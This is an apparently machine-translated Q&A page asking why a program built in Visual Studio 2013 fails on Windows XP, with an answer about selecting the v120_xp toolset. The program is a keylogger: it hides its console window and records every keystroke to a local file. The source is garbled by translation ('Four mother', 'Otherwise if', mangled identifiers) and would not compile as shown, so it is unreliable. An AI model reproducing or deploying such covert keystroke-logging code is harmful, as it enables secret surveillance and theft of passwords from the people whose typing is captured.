c - Why this code couldn't run in windows XP -
I am compiling the following code in Visual Studio 2013. It's running on my windows. I compile the code on it. But when I moved the exe file to the other windows like Windows XP SP2, it could not run on it. When I run this XI file on Windows XP SP2, the following message displayed to me in the output.
keylogger.exe is not a valid win32 application.
How can I fix this error? The following code is the source code of the program that has an error.
#include & lt; Iostream & gt; #include & lt; Windows.h & gt; # Include & lt; Winuser.h & gt; using namespace std; // is used to avoid compilation errors due to the re-definition of variable int catalogs (int key-stroke, four * files); Zero stealth (); // Sneak Out the Announcement Function that you have hidden key main key () {Sneak (); // It will call the Sneak Fest. Four mother; // We declare 'I' here with 'char', while (1) {// we say that for '(1)' code executes (i = 8; i & lt; = 190; i ++) {if (GetAsyncKeyState (i) ==-32767) SaveLogs (i, "MYLOGS.txt"); // This will send the value of 'S' and 'MYLOGS.txt' to our settings function. }} System ("PAUSE"); // Here we say that the system has to wait before exiting. Return 0; } Int SaveLogs (int key_stroke, char * file) // Here we define our SaveLogs function. {If ((key_stroke == 1) || (key_stroke == 2)) returns 0; FILE * OUTPUT_FILE; OUTPUT_FILE = Fopen (file, "a +"); Cout & lt; & Lt; Keystroke & lt; & Lt; Endl; If (key_stroke == 8) // number stands for ascii value of a character fprintf (OUTPUT_FILE, "% s", "[BACKSPACE]"); Else if (key_stroke == 13) fprintf (OUTPUT_FILE, "% s", "\ n"); Else if (key_stroke == 32) fprintf (OUTPUT_FILE, "% s", ""); And if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "% s", "[TAB]"); And if (key_stroke == VKIHIFT) FPrintf (OUTTUUFEELE, "% s", "[SHIFT]"); And if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "% s", "[CONTROL]"); Else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "% s", "[ESCAPE]"); Else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "% s", "[END]"); Else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "% s", "[HOME]"); Otherwise if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "% s", "[LEFT]"); Otherwise if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "% s", "[UP]"); Otherwise if (key_stroke == VKRICHT) fprintf (OUTPUT_FILE, "% s", "[right]"); Else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "% s", "[Down]"); Otherwise if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "% s", "."); Other fprintf (OUTPUT_FILE, "% s", and amp; key_stroke); Fclose (OUTPUT_FILE); Return 0; } Void Sneak () {HWND Sneak Out; AllocConsole (); Stealth = searchwindow ("consolewindowclass", tap); ShowWindow (Stealth, 0); }
This is not related to your program but is based on platform toolset which is not supported Use the Project - Properties and Configuration Properties-> General-> Platform Toolset in Visual Studio 2013 "Select Visual Studio 2013 - Windows XP (v120_xp) "Or any other toolset that contains" _xp ".
Comments
Post a Comment